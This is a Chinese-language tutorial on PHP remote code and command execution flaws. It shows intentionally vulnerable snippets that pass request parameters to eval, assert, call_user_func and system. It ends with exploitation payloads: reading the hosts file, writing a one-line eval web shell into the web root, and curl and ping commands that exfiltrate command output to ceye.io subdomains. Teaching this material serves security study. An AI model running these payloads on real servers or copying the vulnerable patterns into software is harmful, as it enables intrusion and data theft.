远程命令执行

漏洞成因

WEB应用程序过滤不严谨,导致用户可以通过请求将代码注入到WEB应用进行执行。

代码最终是在WEB服务器中进行执行的。

代码执行相关函数

eval()

eval() 会将字符串当作php 代码执行

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
eval($code);
}else{
echo "Please submit code!<br />?code=phpinfo();";
}
?>

assert()

1
2
3
4
5
6
7
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
assert($code);
}else{
echo "Please submit code!<br />?code=phpinfo()";}
?>

call_user_func()

call_user_func() 等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个 传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。 以call_user_func() 为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试 代码如下

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}else{
echo"?fun=assert&amp;para=phpinfo()";}
?>

动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有 加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一 样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}else{
echo "?a=assert&amp;b=phpinfo()";
}
?>

命令执行相关函数

system()

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
}else{
echo"?cmd=ipconfig";
}
?>

exec()

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print exec($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>

反引号``

1
2
3
4
5
6
7
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}else{
echo"?cmd=whoami";}
?>

漏洞利用

查看系统文件

提交参数?cmd=type c:\windows\system32\drivers\etc\hosts,查看系统hosts 文件。

写文件

提交参数?cmd=echo ^<^?php phpinfo()^?^> >>C:\phpStudy\WWW\info.php

提交参数?cmd=echo ^<^?php @eval($_POST[x])^?^> >>C:\phpStudy\WWW\1.php

无回显

http://ceye.io

http://dnslog.cn/

使用http通道带出数据

curl xxxxx.ceye.io/whoami

使用dns通道带出数据

ping whoami.xxxxx.ceye.io

使用http通道带出数据,数据base64编码

curl xxxxx.ceye.io/$(whoami|base64)